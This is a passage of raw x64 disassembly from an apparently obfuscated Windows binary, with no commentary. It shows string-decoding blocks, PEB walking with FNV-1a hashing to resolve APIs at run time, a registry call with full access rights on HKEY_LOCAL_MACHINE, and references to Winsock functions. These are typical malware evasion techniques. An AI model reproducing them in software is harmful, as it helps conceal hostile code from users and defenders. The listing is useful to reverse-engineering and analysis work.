cmp rdi, rax
je 0x14015440c
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x1401543f8
lea rax, [r10 + 0x3e8]
cmp rdi, rax
je 0x1401543d5
lea rax, [r10 + 0x61]
cmp rdi, rax
je 0x1401543c1
lea rax, [r10 + 9]
cmp rdi, rax
je 0x140153fee
lea rdi, [r10 + 5]
lea r10, [rdi + 0x20]
lea rax, [r10 + 9]
cmp rdi, rax
jb 0x140154a1f
lea rax, [r10 + 0x1000]
cmp rdi, rax
jb 0x1401549fc
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x1401541ef
lea rax, [r10 + 1]
cmp rdi, rax
jb 0x1401541cc
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x1401541a6
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x1401543a0
lea rax, [r10 + 0x400]
cmp rdi, rax
jb 0x14015437f
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x14015435b
lea rax, [r10 + 0xa]
cmp rdi, rax
jb 0x140154330
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x140153fee
lea rdi, [r10 + 0x3e8]
lea r10, [rdi + 0x64]
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x14015431c
lea rax, [r10 + 0x5a]
cmp rdi, rax
ja 0x1401542fb
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x1401542da
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x1401542c6
lea rax, [r10 + 0x200]
cmp rdi, rax
ja 0x1401542a3
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x14015427f
lea rax, [r10 + 8]
cmp rdi, rax
ja 0x14015425c
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x140154239
lea rax, [r10 + 0x40]
cmp rdi, rax
ja 0x140154215
lea rax, [r10 + 0x2a]
cmp rdi, rax
ja 0x140153fee
lea rdi, [r10 + 0x7a]
lea r10, [rdi + 3]
jmp 0x140153fee
movabs rdx, 0xcf7914021ebc2eaa
mov ecx, reloc.WLDAP32.dll_Ordinal_45
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140153fe1
movabs rdx, 0x84a9100974daa02e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x42
add bl, dl
jmp 0x140153f7a
movabs rdx, 0x39d90c10caf911b2
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140153efe
movabs rdx, 0x8c414d97be02c0b0
mov ecx, Ordinal_27
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x140154899
movabs rcx, 0x4171499f14213234
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x6c
jmp 0x1401548c3
movabs rcx, 0xf6a145a66a3fa3b8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 8
jmp 0x1401548c6
movabs rdx, 0xabd141adc05e153c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x1401548ea
movabs rcx, 0x61013db5167c86c0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r14b
jmp 0x140154914
movabs rdx, 0x163139bc6c9af844
mov ecx, reloc.WS2_32.dll_select
jmp 0x14015480b
movabs rdx, 0xcb6135c3c2b969c8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x78
jmp 0x1401547d7
movabs rdx, 0x809131cb18d7db4c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x14
jmp 0x1401543f1
movabs rdx, 0x35c12dd26ef64cd0
mov ecx, Ordinal_41
jmp 0x1401546bc
movabs rcx, 0xfab923e4c642689a
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x36
mov byte [rbp + r9 + 0x520], bl
jmp 0x1401549f4
movabs rdx, 0xafe91fec1c60da1e
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x140154566
movabs rdx, 0x65191bf3727f4ba2
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6e
jmp 0x14015452e
movabs rdx, 0x1a4917fac89dbd26
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0xa
jmp 0x1401544f3
movabs rdx, 0x6930fa31ce821084
mov ecx, reloc.WLDAP32.dll_Ordinal_50
jmp 0x1401546bc
movabs rdx, 0x1e60f63924a08208
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x38
add bl, dl
jmp 0x140154998
movabs rdx, 0xd390f2407abef38c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x1401545db
movabs rcx, 0x88c0ee47d0dd6510
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x70
jmp 0x140154934
movabs rcx, 0x3df0ea4f26fbd694
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0xc
jmp 0x140154914
movabs rdx, 0xf320e6567d1a4818
mov ecx, Ordinal_46
jmp 0x14015428e
movabs rcx, 0xa850e25dd338b99c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x44
jmp 0x1401548c6
movabs rdx, 0x5d80de6529572b20
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401548c3
movabs rdx, 0x12b0da6c7f759ca4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7c
jmp 0x140154899
lea rax, [r10 + 6]
cmp rdi, rax
jae 0x14015459a
lea rdx, [r9 + r11]
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
lea rax, [rdi + r10]
cmp rax, 0x80
je 0x1401547b0
lea rax, [r10 + 0x40]
cmp rdi, rax
jbe 0x14015463a
movabs rdx, 0x69c879203d5f79c6
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6a
add bl, dl
cmp rdi, 0x1000
jae 0x14015478a
lea rax, [r10 + 1]
cmp rdi, rax
jbe 0x1401546d3
movabs rdx, 0xfb50a2d3351fd1dc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 4
add bl, dl
cmp r10, 9
jb 0x14015434e
movabs rdx, 0xe770ca89d7ef62b4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x14015489b
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401545c6
movabs rcx, 0x23105365ef80b02c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x34
jmp 0x1401549e5
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401545ed
movabs rdx, 0xb8b05b574343cd24
mov ecx, esi
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x1401547d4
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140154619
movabs rcx, 0x3805f4fed255ba0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x60
jmp 0x140154934
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401544f5
movabs rdx, 0x4e5063489706ea1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x140154831
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140154657
movabs rdx, 0xb4987d18e7410842
mov ecx, Ordinal_27
jmp 0x140154224
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140154683
movabs rcx, 0xff688111912296be
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x32
jmp 0x1401548c3
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401546a0
movabs rdx, 0x95088902e4e5b3b6
mov ecx, 3
jmp 0x14015428e
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x140154530
movabs rdx, 0xb189cde364d7c22
mov ecx, 9
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401549e5
jne 0x1401546f8
movabs rcx, 0x4620a6cbdf016058
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x68
jmp 0x1401549e5
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140154722
movabs rdx, 0xdbc0aebd32c47d50
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x30
jmp 0x1401547d7
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14015473f
movabs rdx, 0x2690b2b5dca60bcc
mov ecx, gethostname
jmp 0x14015480b
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140154769
movabs rdx, 0xbc30baa7306928c4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x5c
jmp 0x1401548ea
lea rax, [r10 + 8]
cmp rdi, rax
jne 0x140154568
movabs rdx, 0x9ca0c6912e0dd438
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x140154224
movabs rdx, 0x3240ce8281d0f130
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, byte [rbp + r9 + 0x520]
sub bl, al
sub bl, 0x50
jmp 0x14015429b
movabs rdx, 0x7d10d27b2bb27fac
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0x520]
add bl, r8b
add bl, dl
jmp 0x140154966
movabs rdx, 0x9d38457f9ceb3d7a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x56
jmp 0x1401547d7
movabs rdx, 0x52684186f309aefe
mov ecx, 7
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140154934
movabs rdx, 0x7983d8e49282082
mov ecx, reloc.WS2_32.dll_gethostname
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140154914
movabs rdx, 0x71f8359cf565038a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401548c6
movabs rdx, 0xdc582daba1a1e692
mov ecx, r15d
jmp 0x140154224
movabs rdx, 0x46b825ba4ddec99a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x36
add bl, dl
movabs rdx, 0x8cd8cc862ce029f2
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x520], cl
add r10, r15
sub r9, r15
jmp 0x1401549f4
movabs rdx, 0x664819d0503a1e26
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0xa
add bl, dl
movabs rcx, 0xd7a8d07ed6c1b86e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
add r8b, cl
add r8b, bl
sub r8b, sil
mov byte [rbp + r9 + 0x520], r8b
add rdi, r10
jmp 0x140154934
movabs rcx, 0xd0a811defc77012e
add rcx, r9
mov al, cl
and al, dl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
sub bl, 0x42
movzx eax, bl
mov rcx, r12
sub rcx, rax
add r9, rcx
jmp 0x1401549f4
mov r8, rdx
movabs rcx, 0x85d80de6529572b2
add rcx, r9
and dl, cl
mov eax, reloc.WS2_32.dll_recvfrom
sub al, dl
lea ebx, [rax + rax]
add bl, cl
add bl, r8b
movabs rdx, 0x2278d47780a346ea
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x66
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x520], al
add r10, r15
add rax, r10
sub r9, rax
movabs rcx, 0xc7e0d673d5940e28
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x18
add cl, r8b
mov byte [rbp + r9 + 0x520], cl
add rdi, r15
mov rax, r12
sub rax, rdi
add r9, rax
jmp 0x1401549e5
movabs rcx, 0xf03805f4fed255ba
add rcx, r9
mov al, dl
and al, cl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
sub bl, 0x16
movzx eax, byte [rbp + r9 + 0x520]
add rax, r10
add r9, rax
add r9, r15
jmp 0x140153eeb
movabs rcx, 0xef09081821178336
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x7a
jmp 0x140153ee8
movabs rcx, 0xa439041f7735f4ba
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x16
jmp 0x140153ed8
lea r12, [rbp + 0x145e2c8]
jmp 0x140154a5b
lea r12, [rbp + 0x136aa06]
jmp 0x140154a5b
lea r12, [rbp + 0x520]
mov r10, qword [0x1404fc178]
test r10, r10
jne 0x140154bcb
mov esi, r13d
mov r14d, 0xeced0b92
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140154ad7
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140154aca
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140154abb
cmp edx, esi
jne 0x140154ba9
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x140154ba9
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x140154ba9
mov edi, dword [r11 + 0x20]
dec r10d
lea rdx, [rdi + r10*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x140154b2b
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140154b20
cmp edx, r14d
je 0x140154b41
test r10d, r10d
jne 0x140154b0b
jmp 0x140154ba9
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + r10*2]
mov r10d, dword [r8 + rdx*4]
add r10, r9
cmp r10, r11
jbe 0x140154bbe
lea rcx, [rax + r11]
cmp r10, rcx
jae 0x140154bbe
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x140154b9c
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rcx
jmp 0x140154b78
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rcx
mov al, byte [r10]
test al, al
jne 0x140154b8f
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x140154bbb
cmp qword [rbx + 0x30], r13
jne 0x140154a8b
mov r10, r13
mov qword [0x1404fc178], r10
mov r15d, 1
mov qword [rsp + 0x40], r13
lea rax, [0x1404fba68]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
mov rdx, r12
mov rcx, 0xffffffff80000002
call r10
mov rdx, qword [0x1404fc118]
mov r12d, 8
test rdx, rdx
jne 0x140154d68
mov esi, r13d
mov r14d, 0xcded1a85
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
movups xmm0, xmmword [rcx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, r12w
mov word [rsp + 0x58], ax
test esi, esi
je 0x140154c81
mov rdx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r9, [rdx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140154c73
movsx eax, byte [rdx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rdx, 2
cmp rdx, r9
jne 0x140154c62
cmp r8d, esi
jne 0x140154d59
mov r10, qword [rcx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x140154d59
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x140154d59
mov edi, dword [r11 + 0x20]
dec ebx
lea r8, [rdi + rbx*4]
mov r9d, dword [r8 + r10]
add r9, r10
mov r8d, 0x811c9dc5
jmp 0x140154cd6
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
mov dl, byte [r9]
add r9, r15
test dl, dl
jne 0x140154cc9
cmp r8d, r14d
je 0x140154ceb
test ebx, ebx
jne 0x140154cb4
jmp 0x140154d59
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r10
cmp rdx, r11
jbe 0x140154d61
lea rcx, [rax + r11]
cmp rdx, rcx
jae 0x140154d61
mov esi, 0x811c9dc5
mov r14d, esi
jmp 0x140154d2a
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r15
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140154d1c
jmp 0x140154d3f
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r15
mov al, byte [rdx]
test al, al
jne 0x140154d32
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
mov rcx, qword [rcx]
jmp 0x140154c31
mov qword [0x1404fc118], rdx
mov ecx, 0x99
call rdx
mov rbx, qword [0x1404fc158]
test rbx, rbx
jne 0x140154ee0
mov esi, r13d
mov r14d, 0xf84eee59
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, r12w
mov word [rsp + 0x58], ax
test esi, esi
je 0x140154deb
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140154dde
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140154dcf
cmp edx, esi
jne 0x140154ec4
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140154ec4
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x140154ec4
mov edi, dword [r10 + 0x20]
mov r12d, 1
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x140154e45
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x140154e3a
cmp edx, r14d
je 0x140154e5b
test r11d, r11d
jne 0x140154e25
jmp 0x140154ebe
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov ebx, dword [r8 + rdx*4]
add rbx, r9
cmp rbx, r10
jbe 0x140154ed9
lea rcx, [rax + r10]
cmp rbx, rcx
jae 0x140154ed9
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x140154e9d
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rbx, r12
mov al, byte [rbx]
cmp al, 0x2e
jne 0x140154e8f
jmp 0x140154eb2
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rbx, r12
mov al, byte [rbx]
test al, al
jne 0x140154ea5
mov rbx, qword [r15]
mov r12d, 8
mov rbx, qword [rbx]
cmp rbx, r15
je 0x140154ed6
cmp qword [rbx + 0x30], r13
jne 0x140154d9f
mov rbx, r13
mov qword [0x1404fc158], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x1404fc150]
test rdx, rdx
jne 0x140155058
mov esi, r13d
mov r14d, 0xb3002016
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140154f69
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140154f5c
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140154f4d
cmp edx, esi
jne 0x14015503c
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14015503c
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14015503c
mov edi, dword [r10 + 0x20]
mov r12d, 1
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x140154fc3
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x140154fb8
cmp edx, r14d
je 0x140154fd9
test r11d, r11d
jne 0x140154fa3
jmp 0x14015503c
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x140155051
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x140155051
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14015501b
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14015500d
jmp 0x140155030
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x140155023
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x14015504e
cmp qword [rbx + 0x30], r13
jne 0x140154f1d
mov rdx, r13
mov qword [0x1404fc150], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404fc148]
test rdx, rdx
jne 0x1401551c7
mov esi, r13d
mov r14d, 0x2fd4df39
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401550d8
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x1401550cb
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1401550bc
cmp edx, esi
jne 0x1401551ab
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x1401551ab
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x1401551ab
mov edi, dword [r10 + 0x20]
mov r12d, 1
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x140155132
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x140155127
cmp edx, r14d
je 0x140155148
test r11d, r11d
jne 0x140155112
jmp 0x1401551ab
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x1401551c0
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x1401551c0
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14015518a
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14015517c
jmp 0x14015519f
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x140155192
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x1401551bd
cmp qword [rbx + 0x30], r13
jne 0x14015508c
mov rdx, r13
mov qword [0x1404fc148], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404fc140]
test rdx, rdx
jne 0x140155336
mov esi, r13d
mov r14d, 0xe80fd3a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140155247
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14015523a
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14015522b
cmp edx, esi
jne 0x14015531a
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14015531a
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14015531a
mov edi, dword [r10 + 0x20]
mov r12d, 1
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1401552a1
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x140155296
cmp edx, r14d
je 0x1401552b7
test r11d, r11d
jne 0x140155281
jmp 0x14015531a
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x14015532f
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x14015532f
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x1401552f9
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1401552eb
jmp 0x14015530e
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x140155301
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x14015532c
cmp qword [rbx + 0x30], r13
jne 0x1401551fb
mov rdx, r13
mov qword [0x1404fc140], rdx
xor ecx, ecx
call rdx
cmp qword [0x1404fc138], r13
jne 0x1401554a4
mov esi, r13d
mov r14d, 0xa52bcaf9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401553b3
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x1401553a6
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140155397
cmp edx, esi
